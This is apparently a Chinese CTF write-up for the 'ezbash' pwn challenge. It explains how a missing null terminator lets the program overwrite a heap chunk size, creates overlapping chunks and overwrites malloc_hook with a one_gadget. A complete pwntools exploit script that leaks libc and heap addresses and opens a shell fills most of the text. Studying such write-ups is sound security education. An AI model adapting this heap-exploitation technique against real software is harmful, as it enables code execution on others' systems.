问题来了,如何实现任意地址写?unlink 的攻击无法布局 fakechunk (因为地址只有 6 字节,我们只能写入一个地址)。

基本的攻击手法必要前提在哪里,溢出,UAF,

任意地址写,要么我们拿到任意地址的 fakechunk,要么修改文件的 context 的指针,然后 echo 或者 cp。

我们伪造一个 fakechunk 的可能性不大,所以我们要修改 context 指针。这样的话,没有 uaf,那就考虑 overlap。

关键点来了

if ( src->context || !des->context )
    {
      if ( src->context && des->context )       // 文件复制到文件
      {
        v4 = strlen(src->context);
        v5 = strlen(des->context);
        if ( v4 > v5 )
        {
          dest = realloc(des->context, v4 + 1);
          memset(dest->context, 0, v4 + 1);
        }
        else
        {
          memset(des->context, 0, v5);
        }
        result = strncpy(dest->context, src->context, v4);
      }
      else                                      // 没有 context
      {
        result = src->context;
        if ( result )
        {
          result = des->context;
          if ( !result )
            result = copycontext(src, des);
        }
      }
    }

echo 是检查 chunksize, 这里用 strlen,我们 echo 以及 cp 都不会在末尾强行补一个空字符,如果我们申请的 0x28,那么我们就可以填满 chunk 的用户空间,而且数据会与下一个堆块的 chunksize 来年再一个,只要 v4=v5, 就可以修改 chunksize,把后面的 chunk 包含进去。

我们把文件部署在 actim 后面,0x51 就是我们的文件,

malloc(0x130,b'2')
malloc(0x120,b'3')
malloc(0x130,b'5')
malloc(0x1,b'6')
touch(b'mmmm')
dbg()
#gdb.attach(r,'brva 0x01884')
#change the chunksize wo achieve overlap
malloc(0x68,b'1',b'\x51\x04')
#gdb.attach(r)
free(b'2')
dbg()
mkdir(b'dir')
malloc(0x70,b'dir')
mkdir(b'dir2')
mkdir(b'dir3')
malloc(0,b'dir3')
print("malloc_hook : ",hex(malloc_hook))
print(p64(malloc_hook))
pad = p64(malloc_hook)
print(pad[0:6])
print(pad[5:7])
malloc(0x8,b'dir2',pad[0:6])
dbg()
pad = p64(onegadget)
echo(b'a'*(0x23)+pad[0:6],b'5')

image-20220425154952331

修改后

image-20220425155032483

你只能写入一个地址,context 在 chunk 的第四个 8 字节位置,我们要向改掉,申请堆块就要拿到 chunk+0x10 的 chunk

image-20220425155752574

这里就是我们的 5 那个文件。我们目标是申请到她 + 0x10 的 chunk

image-20220425160145339

同时我们已经将 malloc_hook-0x23 的地址写到了对应的 context 指针位置,我们下 main 只需要对他进行编辑

这里为甚不直接使用 malloc_hook.cp 里面 strlen 返回的是 0,会进行 realloc,但是不是个合法的 fakechunk,realloc 会报错,echo 也要 chunk 的头部信息,所以布置在 malloc_hook-0x23,这个天然的 fakechunk, 最后 echo 进去,或者 cp 也行

# exp

赛后我们并没有对 exp 进行重新的整理,比较凌乱

from pwn import *
r=process('./ezbash')
#r=remote('140.82.17.215',20642)
#context.log_level = 'debug'
elf = ELF('./ezbash')
hacker = "/$ "
def ch(cmd):
	r.sendlineafter(hacker,cmd)
def ls(ptr):
	cmd = b"ls "+ptr
	ch(cmd)
def cat(file):
	ch(cmd = b"cat "+file)
	
def cd(addr):
	ch(b"cd "+addr)
def help():
	ch("help")
def echo(text,filename):
	cmd = b"echo " + text +b" -> "+filename
	ch(cmd)
def touch(filename):
	ch(b"touch "+filename)
def rmv(flag,filename):
	if flag==0:
		cmd = b"rm -r "+filename
	else :
		cmd = b"rm "+filename
	ch(cmd)
def mkdir(filename):
	ch(b"mkdir "+filename)
def pwd():
	ch("pwd")
def cp(a,b):
	cmd = b"cp "+a+b" "+b
	ch(cmd)
def malloc(size,ptr,tail=b'\x00'*0):
	pad = b'a'*size + tail
	echo(pad,b'cccc')
	cp(b'cccc',ptr)
def malloc1(size,ptr,tail=b'\x00'*0):
	pad = b'a'*size + tail
	echo(pad,b'a')
	cp(b'a',ptr)
def free(ptr):
	cp(b'free',ptr)
def dbg():
	gdb.attach(r)
mkdir(b"AAAA")
touch(b'cccc')
touch(b'dddd')
cd(b"AAAA")
touch(b"BBBB")
echo(b'a'*0x3f2,b"BBBB")
cd(b"../")
echo(b'c'*0x3f0,b"cccc")
echo(b'd'*8,b'dddd')
cp(b'dddd',b'AAAA')
cd(b"AAAA")
cat(b'dddd')
r.recvuntil(b'd'*8)
libcbase  = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0 +0x1ff0c0
print("libcbase : ",hex(libcbase))
malloc_hook = libcbase + 0x1ecb70-0x23
#leak the chunk addr
cd(b'../')
mkdir(b'ii')
cp(b'dddd',b'ii')
rmv(0,b'ii')
cd(b"AAAA")
rmv(1,b'dddd')
cd(b'../')
echo(b'\x70',b'dddd')
cp(b'dddd',b'AAAA')
cd(b"AAAA")
cat(b'dddd')
r.recv()
heap_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x001470
fake = heap_addr+0x2800
print("heap_addr : ",hex(heap_addr))
#onegadget = 0xcafebabedeadbeef
onegadget = 0xe3b31+libcbase
cd(b'../')
touch(b"free")
touch(b'actim')
touch(b'null')
malloc(0x2a0,b'nop')
malloc(0x50,b'1111')
malloc(0x110,b'2222')
#clean the chunk
malloc(0x40,b'3')
malloc(0x40,b'4')
#gdb.attach(r)
malloc(0x68,b'1')
rmv(1,b'3')
malloc(0x130,b'2')
malloc(0x120,b'3')
malloc(0x130,b'5')
malloc(0x1,b'6')
touch(b'mmmm')
dbg()
#gdb.attach(r,'brva 0x01884')
#change the chunksize wo achieve overlap
malloc(0x68,b'1',b'\x51\x04')
#gdb.attach(r)
free(b'2')
dbg()
mkdir(b'dir')
malloc(0x70,b'dir')
mkdir(b'dir2')
mkdir(b'dir3')
malloc(0,b'dir3')
print("malloc_hook : ",hex(malloc_hook))
print(p64(malloc_hook))
pad = p64(malloc_hook)
print(pad[0:6])
print(pad[5:7])
malloc(0x8,b'dir2',pad[0:6])
dbg()
pad = p64(onegadget)
echo(b'a'*(0x23)+pad[0:6],b'5')
touch(b'7')
r.interactive()

题目文件在链接里